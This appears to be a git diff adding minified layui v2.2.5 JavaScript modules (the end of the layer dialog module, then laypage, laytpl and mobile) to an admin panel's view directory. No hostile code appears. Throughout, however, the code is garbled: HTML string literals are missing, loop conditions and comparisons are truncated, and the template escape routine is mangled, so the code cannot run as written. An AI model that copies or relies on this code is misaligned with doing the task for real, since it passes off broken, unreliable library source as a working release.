e.extend&&(e.extend=[e.extend]),o.config.path&&r.ready(),e.extend?(a?layui.addcss("modules/layer/"+e.extend):o.link("theme/"+e.extend),this):this},ready:function(e){var t="layer",i="",n=(a?"modules/layer/":"theme/")+"default/layer.css?v="+r.v+i;return a?layui.addcss(n,e,t):o.link(n,e,t),this},alert:function(e,t,n){var a="function"==typeof t;return a&&(n=t),r.open(i.extend({content:e,yes:n},a?{}:t))},confirm:function(e,t,n,a){var s="function"==typeof t;return s&&(a=n,n=t),r.open(i.extend({content:e,btn:o.btn,yes:n,btn2:a},s?{}:t))},msg:function(e,n,a){var s="function"==typeof n,f=o.config.skin,c=(f?f+" "+f+"-msg":"")||"layui-layer-msg",u=l.anim.length-1;return s&&(a=n),r.open(i.extend({content:e,time:3e3,shade:!1,skin:c,title:!1,closeBtn:!1,btn:!1,resize:!1,end:a},s&&!o.config.skin?{skin:c+" layui-layer-hui",anim:u}:function(){return n=n||{},(n.icon===-1||n.icon===t&&!o.config.skin)&&(n.skin=c+" "+(n.skin||"layui-layer-hui")),n}()))},load:function(e,t){return r.open(i.extend({type:3,icon:e||0,resize:!1,shade:.01},t))},tips:function(e,t,n){return r.open(i.extend({type:4,content:[e,t],closeBtn:!1,time:3e3,shade:!1,resize:!1,fixed:!1,maxWidth:210},n))}},s=function(e){var t=this;t.index=++r.index,t.config=i.extend({},t.config,o.config,e),document.body?t.creat():setTimeout(function(){t.creat()},30)};s.pt=s.prototype;var l=["layui-layer",".layui-layer-title",".layui-layer-main",".layui-layer-dialog","layui-layer-iframe","layui-layer-content","layui-layer-btn","layui-layer-close"];l.anim=["layer-anim-00","layer-anim-01","layer-anim-02","layer-anim-03","layer-anim-04","layer-anim-05","layer-anim-06"],s.pt.config={type:0,shade:.3,fixed:!0,move:l[1],title:"信息",offset:"auto",area:"auto",closeBtn:1,time:0,zIndex:19891014,maxWidth:360,anim:0,isOutAnim:!0,icon:-1,moveType:1,resize:!0,scrollbar:!0,tips:2},s.pt.vessel=function(e,t){var n=this,a=n.index,r=n.config,s=r.zIndex+a,f="object"==typeof r.title,c=r.maxmin&&(1===r.type||2===r.type),u=r.title?'
    '+(f?r.title[0]:r.title)+"
    ":"";return r.zIndex=s,t([r.shade?'
    ':"",'
    '+(e&&2!=r.type?"":u)+'
    '+(0==r.type&&r.icon!==-1?'':"")+(1==r.type&&e?"":r.content||"")+'
    '+function(){var e=c?'':"";return r.closeBtn&&(e+=''),e}()+""+(r.btn?function(){var e="";"string"==typeof r.btn&&(r.btn=[r.btn]);for(var t=0,i=r.btn.length;t'+r.btn[t]+"";return'
    '+e+"
    "}():"")+(r.resize?'':"")+"
    "],u,i('
    ')),n},s.pt.creat=function(){var e=this,t=e.config,a=e.index,s=t.content,f="object"==typeof s,c=i("body");if(!t.id||!i("#"+t.id)[0]){switch("string"==typeof t.area&&(t.area="auto"===t.area?["",""]:[t.area,""]),t.shift&&(t.anim=t.shift),6==r.ie&&(t.fixed=!1),t.type){case 0:t.btn="btn"in t?t.btn:o.btn[0],r.closeAll("dialog");break;case 2:var s=t.content=f?t.content:[t.content||"http://layer.layui.com","auto"];t.content='';break;case 3:delete t.title,delete t.closeBtn,t.icon===-1&&0===t.icon,r.closeAll("loading");break;case 4:f||(t.content=[t.content,"body"]),t.follow=t.content[1],t.content=t.content[0]+'',delete t.title,t.tips="object"==typeof t.tips?t.tips:[t.tips,!0],t.tipsMore||r.closeAll("tips")}if(e.vessel(f,function(n,r,u){c.append(n[0]),f?function(){2==t.type||4==t.type?function(){i("body").append(n[1])}():function(){s.parents("."+l[0])[0]||(s.data("display",s.css("display")).show().addClass("layui-layer-wrap").wrap(n[1]),i("#"+l[0]+a).find("."+l[5]).before(r))}()}():c.append(n[1]),i(".layui-layer-move")[0]||c.append(o.moveElem=u),e.layero=i("#"+l[0]+a),t.scrollbar||l.html.css("overflow","hidden").attr("layer-full",a)}).auto(a),i("#layui-layer-shade"+e.index).css({"background-color":t.shade[1]||"#000",opacity:t.shade[0]||t.shade}),2==t.type&&6==r.ie&&e.layero.find("iframe").attr("src",s[0]),4==t.type?e.tips():e.offset(),t.fixed&&n.on("resize",function(){e.offset(),(/^\d+%$/.test(t.area[0])||/^\d+%$/.test(t.area[1]))&&e.auto(a),4==t.type&&e.tips()}),t.time<=0||setTimeout(function(){r.close(e.index)},t.time),e.move().callback(),l.anim[t.anim]){var u="layer-anim "+l.anim[t.anim];e.layero.addClass(u).one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend",function(){i(this).removeClass(u)})}t.isOutAnim&&e.layero.data("isOutAnim",!0)}},s.pt.auto=function(e){var t=this,a=t.config,o=i("#"+l[0]+e);""===a.area[0]&&a.maxWidth>0&&(r.ie&&r.ie<8&&a.btn&&o.width(o.innerWidth()),o.outerWidth()>a.maxWidth&&o.width(a.maxWidth));var s=[o.innerWidth(),o.innerHeight()],f=o.find(l[1]).outerHeight()||0,c=o.find("."+l[6]).outerHeight()||0,u=function(e){e=o.find(e),e.height(s[1]-f-c-2*(0|parseFloat(e.css("padding-top"))))};switch(a.type){case 2:u("iframe");break;default:""===a.area[1]?a.maxHeight>0&&o.outerHeight()>a.maxHeight?(s[1]=a.maxHeight,u("."+l[5])):a.fixed&&s[1]>=n.height()&&(s[1]=n.height(),u("."+l[5])):u("."+l[5])}return t},s.pt.offset=function(){var e=this,t=e.config,i=e.layero,a=[i.outerWidth(),i.outerHeight()],o="object"==typeof t.offset;e.offsetTop=(n.height()-a[1])/2,e.offsetLeft=(n.width()-a[0])/2,o?(e.offsetTop=t.offset[0],e.offsetLeft=t.offset[1]||e.offsetLeft):"auto"!==t.offset&&("t"===t.offset?e.offsetTop=0:"r"===t.offset?e.offsetLeft=n.width()-a[0]:"b"===t.offset?e.offsetTop=n.height()-a[1]:"l"===t.offset?e.offsetLeft=0:"lt"===t.offset?(e.offsetTop=0,e.offsetLeft=0):"lb"===t.offset?(e.offsetTop=n.height()-a[1],e.offsetLeft=0):"rt"===t.offset?(e.offsetTop=0,e.offsetLeft=n.width()-a[0]):"rb"===t.offset?(e.offsetTop=n.height()-a[1],e.offsetLeft=n.width()-a[0]):e.offsetTop=t.offset),t.fixed||(e.offsetTop=/%$/.test(e.offsetTop)?n.height()*parseFloat(e.offsetTop)/100:parseFloat(e.offsetTop),e.offsetLeft=/%$/.test(e.offsetLeft)?n.width()*parseFloat(e.offsetLeft)/100:parseFloat(e.offsetLeft),e.offsetTop+=n.scrollTop(),e.offsetLeft+=n.scrollLeft()),i.attr("minLeft")&&(e.offsetTop=n.height()-(i.find(l[1]).outerHeight()||0),e.offsetLeft=i.css("left")),i.css({top:e.offsetTop,left:e.offsetLeft})},s.pt.tips=function(){var e=this,t=e.config,a=e.layero,o=[a.outerWidth(),a.outerHeight()],r=i(t.follow);r[0]||(r=i("body"));var s={width:r.outerWidth(),height:r.outerHeight(),top:r.offset().top,left:r.offset().left},f=a.find(".layui-layer-TipsG"),c=t.tips[0];t.tips[1]||f.remove(),s.autoLeft=function(){s.left+o[0]-n.width()>0?(s.tipLeft=s.left+s.width-o[0],f.css({right:12,left:"auto"})):s.tipLeft=s.left},s.where=[function(){s.autoLeft(),s.tipTop=s.top-o[1]-10,f.removeClass("layui-layer-TipsB").addClass("layui-layer-TipsT").css("border-right-color",t.tips[1])},function(){s.tipLeft=s.left+s.width+10,s.tipTop=s.top,f.removeClass("layui-layer-TipsL").addClass("layui-layer-TipsR").css("border-bottom-color",t.tips[1])},function(){s.autoLeft(),s.tipTop=s.top+s.height+10,f.removeClass("layui-layer-TipsT").addClass("layui-layer-TipsB").css("border-right-color",t.tips[1])},function(){s.tipLeft=s.left-o[0]-10,s.tipTop=s.top,f.removeClass("layui-layer-TipsR").addClass("layui-layer-TipsL").css("border-bottom-color",t.tips[1])}],s.where[c-1](),1===c?s.top-(n.scrollTop()+o[1]+16)<0&&s.where[2]():2===c?n.width()-(s.left+s.width+o[0]+16)>0||s.where[3]():3===c?s.top-n.scrollTop()+s.height+o[1]+16-n.height()>0&&s.where[0]():4===c&&o[0]+16-s.left>0&&s.where[1](),a.find("."+l[5]).css({"background-color":t.tips[1],"padding-right":t.closeBtn?"30px":""}),a.css({left:s.tipLeft-(t.fixed?n.scrollLeft():0),top:s.tipTop-(t.fixed?n.scrollTop():0)})},s.pt.move=function(){var e=this,t=e.config,a=i(document),s=e.layero,l=s.find(t.move),f=s.find(".layui-layer-resize"),c={};return t.move&&l.css("cursor","move"),l.on("mousedown",function(e){e.preventDefault(),t.move&&(c.moveStart=!0,c.offset=[e.clientX-parseFloat(s.css("left")),e.clientY-parseFloat(s.css("top"))],o.moveElem.css("cursor","move").show())}),f.on("mousedown",function(e){e.preventDefault(),c.resizeStart=!0,c.offset=[e.clientX,e.clientY],c.area=[s.outerWidth(),s.outerHeight()],o.moveElem.css("cursor","se-resize").show()}),a.on("mousemove",function(i){if(c.moveStart){var a=i.clientX-c.offset[0],o=i.clientY-c.offset[1],l="fixed"===s.css("position");if(i.preventDefault(),c.stX=l?0:n.scrollLeft(),c.stY=l?0:n.scrollTop(),!t.moveOut){var f=n.width()-s.outerWidth()+c.stX,u=n.height()-s.outerHeight()+c.stY;af&&(a=f),ou&&(o=u)}s.css({left:a,top:o})}if(t.resize&&c.resizeStart){var a=i.clientX-c.offset[0],o=i.clientY-c.offset[1];i.preventDefault(),r.style(e.index,{width:c.area[0]+a,height:c.area[1]+o}),c.isResize=!0,t.resizing&&t.resizing(s)}}).on("mouseup",function(e){c.moveStart&&(delete c.moveStart,o.moveElem.hide(),t.moveEnd&&t.moveEnd(s)),c.resizeStart&&(delete c.resizeStart,o.moveElem.hide())}),e},s.pt.callback=function(){function e(){var e=a.cancel&&a.cancel(t.index,n);e===!1||r.close(t.index)}var t=this,n=t.layero,a=t.config;t.openLayer(),a.success&&(2==a.type?n.find("iframe").on("load",function(){a.success(n,t.index)}):a.success(n,t.index)),6==r.ie&&t.IE6(n),n.find("."+l[6]).children("a").on("click",function(){var e=i(this).index();if(0===e)a.yes?a.yes(t.index,n):a.btn1?a.btn1(t.index,n):r.close(t.index);else{var o=a["btn"+(e+1)]&&a["btn"+(e+1)](t.index,n);o===!1||r.close(t.index)}}),n.find("."+l[7]).on("click",e),a.shadeClose&&i("#layui-layer-shade"+t.index).on("click",function(){r.close(t.index)}),n.find(".layui-layer-min").on("click",function(){var e=a.min&&a.min(n);e===!1||r.min(t.index,a)}),n.find(".layui-layer-max").on("click",function(){i(this).hasClass("layui-layer-maxmin")?(r.restore(t.index),a.restore&&a.restore(n)):(r.full(t.index,a),setTimeout(function(){a.full&&a.full(n)},100))}),a.end&&(o.end[t.index]=a.end)},o.reselect=function(){i.each(i("select"),function(e,t){var n=i(this);n.parents("."+l[0])[0]||1==n.attr("layer")&&i("."+l[0]).length<1&&n.removeAttr("layer").show(),n=null})},s.pt.IE6=function(e){i("select").each(function(e,t){var n=i(this);n.parents("."+l[0])[0]||"none"===n.css("display")||n.attr({layer:"1"}).hide(),n=null})},s.pt.openLayer=function(){var e=this;r.zIndex=e.config.zIndex,r.setTop=function(e){var t=function(){r.zIndex++,e.css("z-index",r.zIndex+1)};return r.zIndex=parseInt(e[0].style.zIndex),e.on("mousedown",t),r.zIndex}},o.record=function(e){var t=[e.width(),e.height(),e.position().top,e.position().left+parseFloat(e.css("margin-left"))];e.find(".layui-layer-max").addClass("layui-layer-maxmin"),e.attr({area:t})},o.rescollbar=function(e){l.html.attr("layer-full")==e&&(l.html[0].style.removeProperty?l.html[0].style.removeProperty("overflow"):l.html[0].style.removeAttribute("overflow"),l.html.removeAttr("layer-full"))},e.layer=r,r.getChildFrame=function(e,t){return t=t||i("."+l[4]).attr("times"),i("#"+l[0]+t).find("iframe").contents().find(e)},r.getFrameIndex=function(e){return i("#"+e).parents("."+l[4]).attr("times")},r.iframeAuto=function(e){if(e){var t=r.getChildFrame("html",e).outerHeight(),n=i("#"+l[0]+e),a=n.find(l[1]).outerHeight()||0,o=n.find("."+l[6]).outerHeight()||0;n.css({height:t+a+o}),n.find("iframe").css({height:t})}},r.iframeSrc=function(e,t){i("#"+l[0]+e).find("iframe").attr("src",t)},r.style=function(e,t,n){var a=i("#"+l[0]+e),r=a.find(".layui-layer-content"),s=a.attr("type"),f=a.find(l[1]).outerHeight()||0,c=a.find("."+l[6]).outerHeight()||0;a.attr("minLeft");s!==o.type[3]&&s!==o.type[4]&&(n||(parseFloat(t.width)<=260&&(t.width=260),parseFloat(t.height)-f-c<=64&&(t.height=64+f+c)),a.css(t),c=a.find("."+l[6]).outerHeight(),s===o.type[2]?a.find("iframe").css({height:parseFloat(t.height)-f-c}):r.css({height:parseFloat(t.height)-f-c-parseFloat(r.css("padding-top"))-parseFloat(r.css("padding-bottom"))}))},r.min=function(e,t){var a=i("#"+l[0]+e),s=a.find(l[1]).outerHeight()||0,f=a.attr("minLeft")||181*o.minIndex+"px",c=a.css("position");o.record(a),o.minLeft[0]&&(f=o.minLeft[0],o.minLeft.shift()),a.attr("position",c),r.style(e,{width:180,height:s,left:f,top:n.height()-s,position:"fixed",overflow:"hidden"},!0),a.find(".layui-layer-min").hide(),"page"===a.attr("type")&&a.find(l[4]).hide(),o.rescollbar(e),a.attr("minLeft")||o.minIndex++,a.attr("minLeft",f)},r.restore=function(e){var t=i("#"+l[0]+e),n=t.attr("area").split(",");t.attr("type");r.style(e,{width:parseFloat(n[0]),height:parseFloat(n[1]),top:parseFloat(n[2]),left:parseFloat(n[3]),position:t.attr("position"),overflow:"visible"},!0),t.find(".layui-layer-max").removeClass("layui-layer-maxmin"),t.find(".layui-layer-min").show(),"page"===t.attr("type")&&t.find(l[4]).show(),o.rescollbar(e)},r.full=function(e){var t,a=i("#"+l[0]+e);o.record(a),l.html.attr("layer-full")||l.html.css("overflow","hidden").attr("layer-full",e),clearTimeout(t),t=setTimeout(function(){var t="fixed"===a.css("position");r.style(e,{top:t?0:n.scrollTop(),left:t?0:n.scrollLeft(),width:n.width(),height:n.height()},!0),a.find(".layui-layer-min").hide()},100)},r.title=function(e,t){var n=i("#"+l[0]+(t||r.index)).find(l[1]);n.html(e)},r.close=function(e){var t=i("#"+l[0]+e),n=t.attr("type"),a="layer-anim-close";if(t[0]){var s="layui-layer-wrap",f=function(){if(n===o.type[1]&&"object"===t.attr("conType")){t.children(":not(."+l[5]+")").remove();for(var a=t.find("."+s),r=0;r<2;r++)a.unwrap();a.css("display",a.data("display")).removeClass(s)}else{if(n===o.type[2])try{var f=i("#"+l[4]+e)[0];f.contentWindow.document.write(""),f.contentWindow.close(),t.find("."+l[5])[0].removeChild(f)}catch(c){}t[0].innerHTML="",t.remove()}"function"==typeof o.end[e]&&o.end[e](),delete o.end[e]};t.data("isOutAnim")&&t.addClass("layer-anim "+a),i("#layui-layer-moves, #layui-layer-shade"+e).remove(),6==r.ie&&o.reselect(),o.rescollbar(e),t.attr("minLeft")&&(o.minIndex--,o.minLeft.push(t.attr("minLeft"))),r.ie&&r.ie<10||!t.data("isOutAnim")?f():setTimeout(function(){f()},200)}},r.closeAll=function(e){i.each(i("."+l[0]),function(){var t=i(this),n=e?t.attr("type")===e:1;n&&r.close(t.attr("times")),n=null})};var f=r.cache||{},c=function(e){return f.skin?" "+f.skin+" "+f.skin+"-"+e:""};r.prompt=function(e,t){var a="";if(e=e||{},"function"==typeof e&&(t=e),e.area){var o=e.area;a='style="width: '+o[0]+"; height: "+o[1]+';"',delete e.area}var s,l=2==e.formType?'":function(){return''}(),f=e.success;return delete e.success,r.open(i.extend({type:1,btn:["确定","取消"],content:l,skin:"layui-layer-prompt"+c("prompt"),maxWidth:n.width(),success:function(t){s=t.find(".layui-layer-input"),s.val(e.value||"").focus(),"function"==typeof f&&f(t)},resize:!1,yes:function(i){var n=s.val();""===n?s.focus():n.length>(e.maxlength||500)?r.tips("最多输入"+(e.maxlength||500)+"个字数",s,{tips:1}):t&&t(n,i,s)}},e))},r.tab=function(e){e=e||{};var t=e.tab||{},n="layui-this",a=e.success;return delete e.success,r.open(i.extend({type:1,skin:"layui-layer-tab"+c("tab"),resize:!1,title:function(){var e=t.length,i=1,a="";if(e>0)for(a=''+t[0].title+"";i"+t[i].title+"";return a}(),content:'
      '+function(){var e=t.length,i=1,a="";if(e>0)for(a='
    • '+(t[0].content||"no content")+"
    • ";i'+(t[i].content||"no content")+"";return a}()+"
    ",success:function(t){var o=t.find(".layui-layer-title").children(),r=t.find(".layui-layer-tabmain").children();o.on("mousedown",function(t){t.stopPropagation?t.stopPropagation():t.cancelBubble=!0;var a=i(this),o=a.index();a.addClass(n).siblings().removeClass(n),r.eq(o).show().siblings().hide(),"function"==typeof e.change&&e.change(o)}),"function"==typeof a&&a(t)}},e))},r.photos=function(t,n,a){function o(e,t,i){var n=new Image;return n.src=e,n.complete?t(n):(n.onload=function(){n.onload=null,t(n)},void(n.onerror=function(e){n.onerror=null,i(e)}))}var s={};if(t=t||{},t.photos){var l=t.photos.constructor===Object,f=l?t.photos:{},u=f.data||[],d=f.start||0;s.imgIndex=(0|d)+1,t.img=t.img||"img";var y=t.success;if(delete t.success,l){if(0===u.length)return r.msg("没有图片")}else{var p=i(t.photos),h=function(){u=[],p.find(t.img).each(function(e){var t=i(this);t.attr("layer-index",e),u.push({alt:t.attr("alt"),pid:t.attr("layer-pid"),src:t.attr("layer-src")||t.attr("src"),thumb:t.attr("src")})})};if(h(),0===u.length)return;if(n||p.on("click",t.img,function(){var e=i(this),n=e.attr("layer-index");r.photos(i.extend(t,{photos:{start:n,data:u,tab:t.tab},full:t.full}),!0),h()}),!n)return}s.imgprev=function(e){s.imgIndex--,s.imgIndex<1&&(s.imgIndex=u.length),s.tabimg(e)},s.imgnext=function(e,t){s.imgIndex++,s.imgIndex>u.length&&(s.imgIndex=1,t)||s.tabimg(e)},s.keyup=function(e){if(!s.end){var t=e.keyCode;e.preventDefault(),37===t?s.imgprev(!0):39===t?s.imgnext(!0):27===t&&r.close(s.index)}},s.tabimg=function(e){if(!(u.length<=1))return f.start=s.imgIndex-1,r.close(s.index),r.photos(t,!0,e)},s.event=function(){s.bigimg.hover(function(){s.imgsee.show()},function(){s.imgsee.hide()}),s.bigimg.find(".layui-layer-imgprev").on("click",function(e){e.preventDefault(),s.imgprev()}),s.bigimg.find(".layui-layer-imgnext").on("click",function(e){e.preventDefault(),s.imgnext()}),i(document).on("keyup",s.keyup)},s.loadi=r.load(1,{shade:!("shade"in t)&&.9,scrollbar:!1}),o(u[d].src,function(n){r.close(s.loadi),s.index=r.open(i.extend({type:1,id:"layui-layer-photos",area:function(){var a=[n.width,n.height],o=[i(e).width()-100,i(e).height()-100];if(!t.full&&(a[0]>o[0]||a[1]>o[1])){var r=[a[0]/o[0],a[1]/o[1]];r[0]>r[1]?(a[0]=a[0]/r[0],a[1]=a[1]/r[0]):r[0]'+(u[d].alt||
    '+(u.length>1?'':"")+'
    '+(u[d].alt||"")+""+s.imgIndex+"/"+u.length+"
  • ",success:function(e,i){s.bigimg=e.find(".layui-layer-phimg"),s.imgsee=e.find(".layui-layer-imguide,.layui-layer-imgbar"),s.event(e),t.tab&&t.tab(u[d],e),"function"==typeof y&&y(e)},end:function(){s.end=!0,i(document).off("keyup",s.keyup)}},t))},function(){r.close(s.loadi),r.msg("当前图片地址异常
    是否继续查看下一张?",{time:3e4,btn:["下一张","不看了"],yes:function(){u.length>1&&s.imgnext(!0,!0)}})})}},o.run=function(t){i=t,n=i(e),l.html=i("html"),r.open=function(e){var t=new s(e);return t.index}},e.layui&&layui.define?(r.ready(),layui.define("jquery",function(t){r.path=layui.cache.dir,o.run(layui.$),e.layer=r,t("layer",r)})):"function"==typeof define&&define.amd?define(["jquery"],function(){return o.run(e.jQuery),r}):function(){o.run(e.jQuery),r.ready()}()}(window); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/laypage.js b/application/view/Admin/layui/lay/modules/laypage.js new file mode 100644 index 0000000..54fe5d3 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/laypage.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define(function(e){"use strict";var a=document,t="getElementById",n="getElementsByTagName",i="laypage",r="layui-disabled",u=function(e){var a=this;a.config=e||{},a.config.index=++s.index,a.render(!0)};u.prototype.type=function(){var e=this.config;if("object"==typeof e.elem)return void 0===e.elem.length?2:3},u.prototype.view=function(){var e=this,a=e.config,t=a.groups="groups"in a?0|a.groups:5;a.layout="object"==typeof a.layout?a.layout:["prev","page","next"],a.count=0|a.count,a.curr=0|a.curr||1,a.limits="object"==typeof a.limits?a.limits:[10,20,30,40,50],a.limit=0|a.limit||10,a.pages=Math.ceil(a.count/a.limit)||1,a.curr>a.pages&&(a.curr=a.pages),t<0?t=1:t>a.pages&&(t=a.pages),a.prev="prev"in a?a.prev:"上一页",a.next="next"in a?a.next:"下一页";var n=a.pages>t?Math.ceil((a.curr+(t>1?1:0))/(t>0?t:1)):1,i={prev:function(){return a.prev?''+a.prev+"":""}(),page:function(){var e=[];if(a.count<1)return"";n>1&&a.first!==!1&&0!==t&&e.push(''+(a.first||1)+"");var i=Math.floor((t-1)/2),r=n>1?a.curr-i:1,u=n>1?function(){var e=a.curr+(t-i-1);return e>a.pages?a.pages:e}():t;for(u-r2&&e.push('');r<=u;r++)r===a.curr?e.push('"+r+""):e.push(''+r+"");return a.pages>t&&a.pages>u&&a.last!==!1&&(u+1…'),0!==t&&e.push(''+(a.last||a.pages)+"")),e.join("")}(),next:function(){return a.next?''+a.next+"":""}(),count:'共 '+a.count+" 条",limit:function(){var e=['"}(),skip:function(){return['到第','','页',""].join("")}()};return['
    ',function(){var e=[];return layui.each(a.layout,function(a,t){i[t]&&e.push(i[t])}),e.join("")}(),"
    "].join("")},u.prototype.jump=function(e,a){if(e){var t=this,i=t.config,r=e.children,u=e[n]("button")[0],l=e[n]("input")[0],p=e[n]("select")[0],c=function(){var e=0|l.value.replace(/\s|\D/g,"");e&&(i.curr=e,t.render())};if(a)return c();for(var o=0,y=r.length;oi.pages||(i.curr=e,t.render())});p&&s.on(p,"change",function(){var e=this.value;i.curr*e>i.count&&(i.curr=Math.ceil(i.count/e)),i.limit=e,t.render()}),u&&s.on(u,"click",function(){c()})}},u.prototype.skip=function(e){if(e){var a=this,t=e[n]("input")[0];t&&s.on(t,"keyup",function(t){var n=this.value,i=t.keyCode;/^(37|38|39|40)$/.test(i)||(/\D/.test(n)&&(this.value=n.replace(/\D/,"")),13===i&&a.jump(e,!0))})}},u.prototype.render=function(e){var n=this,i=n.config,r=n.type(),u=n.view();2===r?i.elem&&(i.elem.innerHTML=u):3===r?i.elem.html(u):a[t](i.elem)&&(a[t](i.elem).innerHTML=u),i.jump&&i.jump(i,e);var s=a[t]("layui-laypage-"+i.index);n.jump(s),i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr),n.skip(s)};var s={render:function(e){var a=new u(e);return a.index},index:layui.laypage?layui.laypage.index+1e4:0,on:function(e,a,t){return e.attachEvent?e.attachEvent("on"+a,function(a){a.target=a.srcElement,t.call(e,a)}):e.addEventListener(a,t,!1),this}};e(i,s)}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/laytpl.js b/application/view/Admin/layui/lay/modules/laytpl.js new file mode 100644 index 0000000..a6923a7 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/laytpl.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define(function(e){"use strict";var r={open:"{{",close:"}}"},c={exp:function(e){return new RegExp(e,"g")},query:function(e,c,t){var o=["#([\\s\\S])+?","([^{#}])*?"][e||0];return n((c||"")+r.open+o+r.close+(t||""))},escape:function(e){return String(e||"").replace(/&(?!#?[a-zA-Z0-9]+;)/g,"&").replace(//g,">").replace(/'/g,"'").replace(/"/g,""")},error:function(e,r){var c="Laytpl Error:";return"object"==typeof console&&console.error(c+e+"\n"+(r||"")),c+e}},n=c.exp,t=function(e){this.tpl=e};t.pt=t.prototype,window.errors=0,t.pt.parse=function(e,t){var o=this,p=e,a=n("^"+r.open+"#",""),l=n(r.close+"$","");e=e.replace(/\s+|\r|\t|\n/g," ").replace(n(r.open+"#"),r.open+"# ").replace(n(r.close+"}"),"} "+r.close).replace(/\\/g,"\\\\").replace(n(r.open+"!(.+?)!"+r.close),function(e){return e=e.replace(n("^"+r.open+"!"),"").replace(n("!"+r.close),"").replace(n(r.open+"|"+r.close),function(e){return e.replace(/(.)/g,"\\$1")})}).replace(/(?="|')/g,"\\").replace(c.query(),function(e){return e=e.replace(a,"").replace(l,""),'";'+e.replace(/\\/g,"")+';view+="'}).replace(c.query(1),function(e){var c='"+(';return e.replace(/\s/g,"")===r.open+r.close?"":(e=e.replace(n(r.open+"|"+r.close),""),/^=/.test(e)&&(e=e.replace(/^=/,""),c='"+_escape_('),c+e.replace(/\\/g,"")+')+"')}),e='"use strict";var view = "'+e+'";return view;';try{return o.cache=e=new Function("d, _escape_",e),e(t,c.escape)}catch(u){return delete o.cache,c.error(u,p)}},t.pt.render=function(e,r){var n,t=this;return e?(n=t.cache?t.cache(e,c.escape):t.parse(t.tpl,e),r?void r(n):n):c.error("no data")};var o=function(e){return"string"!=typeof e?c.error("Template not found"):new t(e)};o.config=function(e){e=e||{};for(var c in e)r[c]=e[c]},o.v="1.2.0",e("laytpl",o)}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/mobile.js b/application/view/Admin/layui/lay/modules/mobile.js new file mode 100644 index 0000000..264d9d3 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/mobile.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define(function(i){i("layui.mobile",layui.v)});layui.define(function(e){"use strict";var r={open:"{{",close:"}}"},c={exp:function(e){return new RegExp(e,"g")},query:function(e,c,t){var o=["#([\\s\\S])+?","([^{#}])*?"][e||0];return n((c||"")+r.open+o+r.close+(t||""))},escape:function(e){return String(e||"").replace(/&(?!#?[a-zA-Z0-9]+;)/g,"&").replace(//g,">").replace(/'/g,"'").replace(/"/g,""")},error:function(e,r){var c="Laytpl Error:";return"object"==typeof console&&console.error(c+e+"\n"+(r||"")),c+e}},n=c.exp,t=function(e){this.tpl=e};t.pt=t.prototype,window.errors=0,t.pt.parse=function(e,t){var o=this,p=e,a=n("^"+r.open+"#",""),l=n(r.close+"$","");e=e.replace(/\s+|\r|\t|\n/g," ").replace(n(r.open+"#"),r.open+"# ").replace(n(r.close+"}"),"} "+r.close).replace(/\\/g,"\\\\").replace(n(r.open+"!(.+?)!"+r.close),function(e){return e=e.replace(n("^"+r.open+"!"),"").replace(n("!"+r.close),"").replace(n(r.open+"|"+r.close),function(e){return e.replace(/(.)/g,"\\$1")})}).replace(/(?="|')/g,"\\").replace(c.query(),function(e){return e=e.replace(a,"").replace(l,""),'";'+e.replace(/\\/g,"")+';view+="'}).replace(c.query(1),function(e){var c='"+(';return e.replace(/\s/g,"")===r.open+r.close?"":(e=e.replace(n(r.open+"|"+r.close),""),/^=/.test(e)&&(e=e.replace(/^=/,""),c='"+_escape_('),c+e.replace(/\\/g,"")+')+"')}),e='"use strict";var view = "'+e+'";return view;';try{return o.cache=e=new Function("d, _escape_",e),e(t,c.escape)}catch(u){return delete o.cache,c.error(u,p)}},t.pt.render=function(e,r){var n,t=this;return e?(n=t.cache?t.cache(e,c.escape):t.parse(t.tpl,e),r?void r(n):n):c.error("no data")};var o=function(e){return"string"!=typeof e?c.error("Template not found"):new t(e)};o.config=function(e){e=e||{};for(var c in e)r[c]=e[c]},o.v="1.2.0",e("laytpl",o)});layui.define(function(e){"use strict";var t=(window,document),i="querySelectorAll",n="getElementsByClassName",a=function(e){return t[i](e)},s={type:0,shade:!0,shadeClose:!0,fixed:!0,anim:"scale"},l={extend:function(e){var t=JSON.parse(JSON.stringify(s));for(var i in e)t[i]=e[i];return t},timer:{},end:{}};l.touch=function(e,t){e.addEventListener("click",function(e){t.call(this,e)},!1)};var o=0,r=["layui-m-layer"],d=function(e){var t=this;t.config=l.extend(e),t.view()};d.prototype.view=function(){var e=this,i=e.config,s=t.createElement("div");e.id=s.id=r[0]+o,s.setAttribute("class",r[0]+" "+r[0]+(i.type||0)),s.setAttribute("index",o);var l=function(){var e="object"==typeof i.title;return i.title?'

    '+(e?i.title[0]:i.title)+"

    ":""}(),d=function(){"string"==typeof i.btn&&(i.btn=[i.btn]);var e,t=(i.btn||[]).length;return 0!==t&&i.btn?(e=''+i.btn[0]+"",2===t&&(e=''+i.btn[1]+""+e),'
    '+e+"
    "):""}();if(i.fixed||(i.top=i.hasOwnProperty("top")?i.top:100,i.style=i.style||"",i.style+=" top:"+(t.body.scrollTop+i.top)+"px"),2===i.type&&(i.content='

    '+(i.content||"")+"

    "),i.skin&&(i.anim="up"),"msg"===i.skin&&(i.shade=!1),s.innerHTML=(i.shade?"
    ':"")+'
    "+l+'
    '+i.content+"
    "+d+"
